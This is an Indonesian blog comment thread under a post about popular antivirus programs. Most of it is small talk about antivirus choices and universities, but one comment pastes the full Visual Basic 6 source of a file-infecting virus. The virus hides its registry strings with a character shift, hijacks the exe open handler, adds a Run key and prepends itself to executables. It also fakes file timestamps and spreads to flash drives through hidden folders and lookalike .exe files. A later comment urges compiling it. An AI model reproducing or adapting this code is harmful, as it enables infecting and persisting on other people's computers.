By: hoi

hoi — Wed, 08 Oct 2008 07:46:02 +0000

Klo kuliah, kamu mau bidang apa dulu nih ?
Masalah tempat harus lihat bidangnya.
Beda bidang, beda tempat belajar yang bagus.
CONTOH :
Kedokteran -> UI
Elektro -> ITB, Bandung
T. Sipil -> Undip,
T. Industri, Fisika -> UGM, Jogja
Perkapalan -> ITS, Surabaya
S, Informasi – > ITS, Surabaya
SKM – > Unair, Surabaya

Jangan lupa, lihat PMDK-nya dari website-Universitasnya, beda universitas, beda tanggal PMDK-nya. Kayak ITS, PMDK Januri. Klo mengharapkan SNMPTN capek deh >?
Mau kuliah apa dulu nih ? Dosen, Guru, PNS, Swasta, Enterprenership, apa mau STAN >
E-mail ke yang kemaren ya ?

By: hoi

hoi — Wed, 08 Oct 2008 07:35:06 +0000

Lah…… :<
Kmu ngoment apaan ?
Si bapak ngoment nantang kamu, vius bikinannya berupa coding yang diatas itu, kena gak sama list antivirusmu.
Jangan salah sangka. Eheheheheheheee. Coba tu, compile di vb 6 mu. Sudah diajarin pak Arif kan ?

By: onlinec0mput3r

onlinec0mput3r — Mon, 06 Oct 2008 11:17:07 +0000

Wah…
Bp tau g it virus ap namaY? Jujur,saya bukan ahliY dlm masalah ini. Tp,diliat dr listingY it vrus made in indonesia, jd coba aj antivirus made in indonesia kyk ansav n pcmav. Klo yg 5 it,saya yakin bisa,apalagi klo bapak jd premium userY. It saja pak dari saya, terima kasih atas kunjunganY….

By: beni sihotang

beni sihotang — Sat, 04 Oct 2008 13:14:40 +0000

virus yang ini bisa ketangkap nggak, ni listingnya:
Public wolu1, wolu2, kodeku, WOLU, rangka, WOLUku, cow1, teksnya, wesel, files As String
Public tgljam1, tgljam0, tgl1, jam0, jam1, winpath, propath, wsteksnya, hlm1teksnya, files11teknya, fsobj1teksnya As String
Public WS, ObjFSO As Object
Const ukuranku = 69632
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
Const hcr1 = “KNH\bFODVVHVbURRW_h{hiloh_vkhoo_rshq_frppdqg_” ‘command
Const hlm1 = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_” ‘run
Const hcv1 = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv#QW_FxuuhqwYhuvlrq_v|vwhpurrw” ’systemroot
Const hcvPF = “KNH\bORFDObPDFKLQH_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_SurjudpIlohvGlu”
Const files11 = “_v|vwhp65_V|vwhpUrrwv1h{h” ‘\system32\SystemRoots.exe
Const fsobj1 = “Vfulswlqj1IlohV|vwhpRemhfw” ‘filesystemobject
Private p8, idp8, keluar As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function OpenProcess Lib “kernel32″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib “kernel32″ (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib “kernel32″ (ByVal hObject As Long) As Long
Sub Form_Load()
On Error Resume Next
Dim process As Long
Dim cow12 As String
process = GetCurrentProcessId()
Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE)
cow12 = “ZVful”
cow1 = cow12 & “sw1Vkhoo”
Call WOLUS
wolu1 = App.EXEName
If Right(App.Path, 1) “\” Then
wolu2 = App.Path & “\”
End If
wolu2 = wolu2 & wolu1 & “.exe”
If UCase(wolu2) = winpath & “\SYSTEM32\SYSTEMROOTS.EXE” Then
WOLU = Command()
For x = 1 To Len(WOLU)
xyz = UCase(Mid(WOLU, x, 1))
rangka = rangka + xyz
If Right(rangka, 5) = “.EXE ” Then
rangka = Left(rangka, Len(rangka) – 1)
WOLUku = Right$(WOLU, Len(WOLU) – x)
GoTo cek
End If
Next x
cek:
If UCase(Mid(rangka, 1, 16)) = UCase(propath) Then
PROSESPF (rangka)
GoTo okee
End If
If UCase(Mid(rangka, 1, 16)) UCase(propath) Then
ff = FreeFile
tgljam1 = FileDateTime(rangka)
For w = 1 To Len(tgljam1)
Scan = Mid(tgljam1, w, 1)
If Scan = ” ” Then
tgl1 = tgl1 + Scan
jam1 = Mid(tgljam1, w + 1, Len(tgljam1) – w)
GoTo stempel
End If
tgl1 = tgl1 + Scan
Next w
End If
stempel:
tgljam0 = Date$
jam0 = Time$
Date = tgl1
Time = jam1
Open rangka For Binary Access Read As ff
Dim sebenarnya As String
sebenarnya = Space(LOF(ff))
Get #ff, 1, sebenarnya
If UCase(Right(sebenarnya, 3)) = “DYS” Then
Call KE_ASLINYA
End If
Close #ff
Open wolu2 For Binary Access Read As #2
Dim bobot As String
bobot = Space(ukuranku)
Get #2, 1, bobot
Close #2
Open rangka For Binary Access Write As ff
Put #ff, 1, bobot
Put #ff, ukuranku, sebenarnya
Put #ff, LOF(ff) + 3, “DYS”
Close #ff
Call KE_ASLINYA
Call LIBAS
End If
JANGKIT
okee:
End Sub
Public Sub JANGKIT()
On Error Resume Next
Kill files
ff = FreeFile
Open wolu2 For Binary Access Read As #ff
Dim kodeku As String
kodeku = Space(ukuranku)
Get #ff, 1, kodeku
Close
Open winpath & files11teksnya For Binary Access Write As #ff
Put #ff, 1, kodeku
Put #ff, LOF(ff) + 3, “DYS”
Close
FileCopy winpath & files11teksnya, winpath & “\system32\SystemRoots.dll”
Call KE_ASLINYA
End Sub
Public Sub WOLUS()
On Error Resume Next
FNC (cow1)
wsteksnya = teksnya
Set WS = CreateObject(wsteksnya)
FNC (hcv1)
hcv1teksnya = teksnya
winpath = WS.regread(hcv1teksnya)
FNC (hcvPF)
hcvPFteksnya = teksnya
propath = WS.regread(hcvPFteksnya)
FNC (hcr1)
hcr1teksnya = teksnya
FNC (files11)
files11teksnya = teksnya
WS.Regwrite hcr1teksnya, winpath & files11teksnya & ” “”%1″” %*”
files = winpath & files11teksnya
FNC (hlm1)
hlm1teksnya = teksnya
WS.Regwrite hlm1teksnya, “SystemRoots” & “=” & winpath & files11teksnya
FNC (fsobj1)
fsobj1teksnya = teksnya
Set ObjFSO = CreateObject(fsobj1teksnya)
End Sub
Public Function FNC(fnct As String)
On Error Resume Next
Dim cow_ As String
For i = 1 To Len(fnct)
d = Asc(Mid(fnct, i, 1)) – 3
cow_ = cow_ + Chr(d)
Next i
teksnya = cow_
End Function
Public Sub KE_ASLINYA()
On Error Resume Next
If rangka = “” Or rangka = Empty Then rangka = wolu2
If sebenarnya = “” Or sebenarnya = Empty Then
Open rangka For Binary Access Read As #3
sebenarnya = LOF(3) – ukuranku
If sebenarnya = 0 Then End
Dim GetOrig As String
GetOrig = Space(sebenarnya)
Get #3, ukuranku, GetOrig
Close #3
End If
hideit = Left(rangka, Len(rangka) – 4)
hideit = hideit & “.888″
Open hideit For Binary Access Write As #10
Put #10, , GetOrig
Close #10
Close
Dim idp8 As Long
Date = tgljam0
Time = jam0
idp8 = Shell(hideit & ” ” & WOLUku, vbNormalFocus)
p8 = OpenProcess(PROCESS_ALL_ACCESS, False, idp8)
GetExitCodeProcess p8, keluar
Do While keluar = STILL_ACTIVE
DoEvents
GetExitCodeProcess p8, keluar
Loop
Kill hideit
Kill hideit
Name winpath & “\system32\SystemRoots.dll” As winpath & “\system32\BackupFiles.exe”
BACAFLASH
Name winpath & “\system32\BackupFiles.exe” As winpath & “\system32\SystemRoots.dll”
End
End Sub
Sub LIBAS()
On Error Resume Next
End Sub
Sub BACAFLASH()
On Error GoTo Batal
Dim AdaFlashDisk, AdaFloppy As Boolean
Dim ObjDrive, inifold As Object
Dim drvflash As String
AdaFlashDisk = False
For Each ObjDrive In ObjFSO.Drives
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > “C” Then
AdaFlashDisk = True
drvflash = ObjDrive.DriveLetter
COPYF drvflash
OTOMATIS
End If
Next
If Not AdaFlashDisk Then
If ObjDrive.DriveType = 2 And ObjDrive.DriveLetter 0 Then
For Each TempFolder In folders
HitungFolder = HitungFolder + 1
If GetAttr(drvflash & “:\” & TempFolder.Name) vbHidden Then
SetAttr cop & “:\” & TempFolder.Name, vbHidden
FileCopy winpath & “\system32\BackupFiles.exe”, cop & “:\ ” & TempFolder.Name & “.exe”
End If
Next
End If
If Dir(cop & “:\ BackUpFiles.exe”) = “” Then
FileCopy winpath & “\system32\BackupFiles.exe”, cop & “:\ BackUpFiles.exe”
End If
End Function
Public Function PROSESPF(prosess As String)
On Error Resume Next
Dim idppf As Long
Date = tgljam0
Time = jam0
idppf = Shell(prosess & ” ” & WOLUku, vbNormalFocus)
ppf = OpenProcess(PROCESS_ALL_ACCESS, False, idppf)
GetExitCodeProcess ppf, keluar
Do While keluar = STILL_ACTIVE
DoEvents
GetExitCodeProcess ppf, keluar
Loop
Name winpath & “\system32\SystemRoots.dll” As winpath & “\system32\BackupFiles.exe”
BACAFLASH
Name winpath & “\system32\BackupFiles.exe” As winpath & “\system32\SystemRoots.dll”
End Function
Public Sub OTOMATIS()
On Error Resume Next
End Sub

By: onlinec0mput3r

onlinec0mput3r — Fri, 03 Oct 2008 08:06:39 +0000

wah…ingat donk..
Junior yang baik adalah yang bisa menertawakan dan ditertawakan seniornya…wkkkkkkkkkkk
Hoi, bantuin aQ donk, bingung ne mo kuiah d mana???
Banjarbaru? Malang? Apa jogja ya???

By: hoi

hoi — Thu, 02 Oct 2008 22:08:49 +0000

Wkkkkkkkkkkkkk………
Nice bro.
Keep post.

Masih ingat aku gak ?

Kalau versiku sih..
PCMAV
Gak ada matinya. Made in Indonesia tuh.

Comments on: Chart Terheboh : 5 Antivirus Terpopuler di Dunia Versi CNET Download.com

By: hoi

By: hoi

By: onlinec0mput3r

By: beni sihotang

By: onlinec0mput3r

By: hoi